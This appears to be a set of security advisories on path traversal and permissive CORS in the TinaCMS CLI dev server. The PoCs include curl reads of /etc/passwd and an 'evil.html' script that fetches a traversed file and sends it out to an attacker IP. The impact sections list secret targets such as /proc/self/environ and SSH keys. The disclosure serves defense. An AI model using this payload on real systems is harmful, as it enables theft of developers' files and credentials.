Package Instance

TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete
The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

TinaCMS CLI has Arbitrary File Read via Disabled Vite Filesystem Restriction
## Summary
The TinaCMS CLI dev server configures Vite with `server.fs.strict: false`, which disables Vite's built-in filesystem access restriction. This allows any unauthenticated attacker who can reach the dev server to read arbitrary files on the host system

## Details
When running `tinacms dev`, the CLI starts a Vite dev server configured in:
`packages/@tinacms/cli/src/next/vite/index.ts`
```
server: {
  host: configManager.config?.build?.host ?? false,
  ...
  fs: {
    strict: false, // Disables Vite's filesystem access restriction
  },
},
```
TinaCMS middleware only intercepts specific route prefixes (/media/*, /graphql, /altair, /searchIndex). Any request to a path outside these routes falls through to Vite's default static file handler, which will serve the file directly from the absolute path on the filesystem.
Additionally, the server enables permissive CORS (cors() with no origin restriction), which may further facilitate browser-based exploitation such as DNS rebinding attacks.

## PoC

**Prerequisites**: TinaCMS CLI dev server running (default port 4001).

- Read system files directly:
```
curl http://localhost:4001/etc/passwd
```
<img width="705" height="332" alt="image" src="https://github.com/user-attachments/assets/6fd0e1c7-a549-40c8-bc81-af9c343f52a0" />

```
curl http://localhost:4001/etc/hostname
```
<img width="631" height="41" alt="image" src="https://github.com/user-attachments/assets/bd103dc3-d4c3-4774-8007-b55de3fc2a9e" />
Vite resolves and serves the absolute path directly from the filesystem.


## Impact
Any developer running tinacms dev in an environment where the dev server port is reachable by an attacker. This includes:

- Cloud IDEs (GitHub Codespaces, Gitpod) where ports are automatically forwarded and publicly accessible

- Docker or VM setups with port forwarding configured

- Misconfigured environments binding to 0.0.0.0 via the build.host config option

- Systems targeted via DNS rebinding attacks, leveraging the unrestricted CORS policy

- Local environments with malicious dependencies running on the same machine

An attacker who can reach port 4001 can:

- Read any file readable by the server process (/etc/passwd, /etc/shadow, SSH private keys)

- Exfiltrate environment variables and secrets via /proc/self/environ

- Access cloud credentials and API keys from configuration files

TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS
## Summary
The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

## Details
The TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:

- packages/@tinacms/cli/src/server/server.ts:
```
  app.use(cors());
```

- packages/@tinacms/cli/src/next/vite/plugins.ts:
```
     server.middlewares.use(cors());
```
When combined with the path traversal vulnerability, this creates a complete attack chain.
## Attack Scenario

### Prerequisites
1. Developer runs `tinacms dev` (default port 4001) 
2. Developer visits attacker's website while TinaCMS is running

**No other conditions required** - the dev server doesn't need to be:
- Exposed to the internet
- Bound to 0.0.0.0
- Accessible outside localhost

### Attack Flow
1. Developer starts TinaCMS: `tinacms dev`
2. Developer browses the web (checking email, social media, etc.)
3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files
5. Files are exfiltrated to attacker's server

## PoC
### Attacker's Malicious Website (evil.html):
```
<script>
fetch('http://localhost:4001/../../../etc/passwd')
  .then(r => r.text())
  .then(data => {
    // Exfil via GET
    const img = new Image();
    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
  });
</script>
```
### Demonstration

**Step 1:** Start TinaCMS dev server
```bash
tinacms dev
# Server running on http://localhost:4001
```

**Step 2:** Host evil.html on attacker server
```bash
python3 -m http.server 8000
```

**Step 3:** Developer visits `http://attacker-server:8000/evil.html`

**Result:** The browser makes cross-origin requests to localhost:4001.
Because cors() returns Access-Control-Allow-Origin: *, the browser
allows the JavaScript to read the responses. Directory listings from
outside the media directory are sent to the attacker's server.
<img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />


## Impact
### Who is affected
Every developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

### What an attacker achieves
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names
   across the entire filesystem
2. **Discover sensitive files** locate `.env`, `.git/config`,  SSH keys, cloud credentials, database configs
3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts
4. **Delete arbitrary files** via `/media/` DELETE with path traversal